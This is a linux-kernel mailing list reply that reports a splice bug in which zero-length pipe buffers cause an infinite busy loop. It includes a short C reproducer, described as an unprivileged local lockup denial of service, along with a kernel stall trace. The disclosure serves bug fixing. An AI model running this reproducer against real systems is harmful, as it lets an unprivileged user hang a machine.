linux-kernel - Re: splice: infinite busy loop lockup bug

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Date:   Fri, 7 Aug 2020 21:34:08 +0900
From:   Tetsuo Handa <penguin-kernel@...ove.sakura.ne.jp>
To:     Al Viro <viro@...iv.linux.org.uk>
Cc:     syzkaller-bugs@...glegroups.com,
        syzbot <syzbot+61acc40a49a3e46e25ea@...kaller.appspotmail.com>,
        linux-fsdevel@...r.kernel.org, linux-kernel@...r.kernel.org,
        Ming Lei <ming.lei@...onical.com>
Subject: Re: splice: infinite busy loop lockup bug

On 2020/08/07 21:27, Al Viro wrote:
> On Fri, Aug 07, 2020 at 07:35:08PM +0900, Tetsuo Handa wrote:
>> syzbot is reporting hung task at pipe_release() [1], for for_each_bvec() from
>> iterate_bvec() from iterate_all_kinds() from iov_iter_alignment() from
>> ext4_unaligned_io() from ext4_dio_write_iter() from ext4_file_write_iter() from
>> call_write_iter() from do_iter_readv_writev() from do_iter_write() from
>> vfs_iter_write() from iter_file_splice_write() falls into infinite busy loop
>> with pipe->mutex held.
>>
>> The reason of falling into infinite busy loop is that iter_file_splice_write()
>> for some reason generates "struct bio_vec" entry with .bv_len=0 and .bv_offset=0
>> while for_each_bvec() cannot handle .bv_len == 0.
> 
> broken in 1bdc76aea115 "iov_iter: use bvec iterator to implement iterate_bvec()",
> unless I'm misreading it...
> 
> Zero-length segments are not disallowed; it's not all that hard to filter them
> out in iter_file_splice_write(), but the intent had always been to have
> iterate_all_kinds() et.al. able to cope with those.
> 
> How are these pipe_buffers with ->len == 0 generated in that reproducer, BTW?
> There might be something else fishy going on...
> 

OK. Indeed writing to empty pipe which returns -EFAULT allows an empty
page to be linked to pipe's array.

Now, I've just found a simple reproducer, and confirmed that this bug is
a local lockup DoS by unprivileged user. Please fix.

----------
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>

int main(int argc, char *argv[])
{
        static char buffer[4096];
        const int fd = open("/tmp/testfile", O_WRONLY | O_CREAT, 0600);
        int pipe_fd[2] = { EOF, EOF };
        pipe(pipe_fd);
        write(pipe_fd[1], NULL, 4096);
        write(pipe_fd[1], buffer, 4096);
        splice(pipe_fd[0], NULL, fd, NULL, 65536, 0);
        return 0;
}
----------

[  125.598898][    C0] rcu: INFO: rcu_sched self-detected stall on CPU
[  125.601072][    C0] rcu: 	0-....: (20171 ticks this GP) idle=526/1/0x4000000000000000 softirq=7918/7918 fqs=5136 
[  125.604874][    C0] 	(t=21006 jiffies g=9341 q=30)
[  125.606512][    C0] NMI backtrace for cpu 0
[  125.607931][    C0] CPU: 0 PID: 2792 Comm: a.out Not tainted 5.8.0+ #793
[  125.610948][    C0] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 02/27/2020
[  125.614938][    C0] Call Trace:
[  125.616049][    C0]  <IRQ>
[  125.617010][    C0]  dump_stack+0x5e/0x7a
[  125.618370][    C0]  nmi_cpu_backtrace.cold.7+0x14/0x52
[  125.620148][    C0]  ? lapic_can_unplug_cpu.cold.39+0x3a/0x3a
[  125.622074][    C0]  nmi_trigger_cpumask_backtrace+0x92/0x9f
[  125.624154][    C0]  arch_trigger_cpumask_backtrace+0x14/0x20
[  125.626102][    C0]  rcu_dump_cpu_stacks+0xa0/0xd0
[  125.627919][    C0]  rcu_sched_clock_irq.cold.95+0x121/0x39c
[  125.629833][    C0]  ? acct_account_cputime+0x17/0x20
[  125.631534][    C0]  ? account_system_index_time+0x8a/0xa0
[  125.633422][    C0]  update_process_times+0x23/0x60
[  125.635070][    C0]  tick_sched_handle.isra.22+0x20/0x60
[  125.636870][    C0]  tick_sched_timer+0x68/0x80
[  125.638403][    C0]  ? tick_sched_handle.isra.22+0x60/0x60
[  125.640588][    C0]  __hrtimer_run_queues+0xf9/0x1a0
[  125.642591][    C0]  hrtimer_interrupt+0xfc/0x210
[  125.645033][    C0]  __sysvec_apic_timer_interrupt+0x4c/0x60
[  125.647292][    C0]  asm_call_on_stack+0xf/0x20
[  125.649192][    C0]  </IRQ>
[  125.650501][    C0]  sysvec_apic_timer_interrupt+0x75/0x80
[  125.652900][    C0]  asm_sysvec_apic_timer_interrupt+0x12/0x20
[  125.655487][    C0] RIP: 0010:iov_iter_copy_from_user_atomic+0x19b/0x350
[  125.658124][    C0] Code: 89 45 d0 48 c1 e6 06 48 03 37 4d 8d 3c 09 4c 89 cf e8 d9 e5 ff ff 48 8b 45 d0 45 39 eb 0f 87 35 01 00 00 49 8b 4a 18 4d 89 f9 <45> 29 dd 45 01 d8 75 12 eb 19 41 83 c4 01 41 29 c0 74 10 44 89 e0
[  125.666132][    C0] RSP: 0018:ffffa6cdc1237aa8 EFLAGS: 00000246
[  125.668557][    C0] RAX: 0000000000000000 RBX: 0000000000001000 RCX: ffff945035a25100
[  125.671576][    C0] RDX: 0000000000000000 RSI: 0000000000000000 RDI: ffff945035a25100
[  125.674851][    C0] RBP: ffffa6cdc1237ad8 R08: 0000000000000000 R09: ffff945028a80000
[  125.677989][    C0] R10: ffffa6cdc1237de0 R11: 0000000000000000 R12: 0000000000000000
[  125.680990][    C0] R13: 0000000000001000 R14: 0000000000001000 R15: 0000000000001000
[  125.684006][    C0]  iomap_write_actor+0xbe/0x190
[  125.685982][    C0]  ? iomap_write_begin+0x460/0x460
[  125.688031][    C0]  iomap_apply+0xf4/0x1a0
[  125.689810][    C0]  ? iomap_write_begin+0x460/0x460
[  125.691826][    C0]  iomap_file_buffered_write+0x69/0x90
[  125.698598][    C0]  ? iomap_write_begin+0x460/0x460
[  125.705341][    C0]  xfs_file_buffered_aio_write+0xc2/0x2c0
[  125.707780][    C0]  xfs_file_write_iter+0xa3/0xc0
[  125.709802][    C0]  do_iter_readv_writev+0x15b/0x1c0
[  125.712496][    C0]  do_iter_write+0x81/0x190
[  125.715245][    C0]  vfs_iter_write+0x14/0x20
[  125.717221][    C0]  iter_file_splice_write+0x288/0x3e0
[  125.719340][    C0]  do_splice_from+0x1a/0x40
[  125.721175][    C0]  do_splice+0x2e5/0x620
[  125.722950][    C0]  __x64_sys_splice+0x97/0x100
[  125.724937][    C0]  do_syscall_64+0x31/0x40
[  125.726766][    C0]  entry_SYSCALL_64_after_hwframe+0x44/0xa9
[  125.729388][    C0] RIP: 0033:0x7f7515dd91c3
[  125.731246][    C0] Code: 00 f7 d8 64 89 01 48 83 c8 ff c3 66 2e 0f 1f 84 00 00 00 00 00 66 90 83 3d fd dd 2c 00 00 75 13 49 89 ca b8 13 01 00 00 0f 05 <48> 3d 01 f0 ff ff 73 34 c3 48 83 ec 08 e8 2b d4 00 00 48 89 04 24
[  125.749632][    C0] RSP: 002b:00007ffd553cde18 EFLAGS: 00000246 ORIG_RAX: 0000000000000113
[  125.753713][    C0] RAX: ffffffffffffffda RBX: 0000000000000003 RCX: 00007f7515dd91c3
[  125.756867][    C0] RDX: 0000000000000003 RSI: 0000000000000000 RDI: 0000000000000004
[  125.759872][    C0] RBP: 0000000000000000 R08: 0000000000010000 R09: 0000000000000000
[  125.763023][    C0] R10: 0000000000000000 R11: 0000000000000246 R12: 00000000004005a6
[  125.766225][    C0] R13: 00007ffd553cdf10 R14: 0000000000000000 R15: 0000000000000000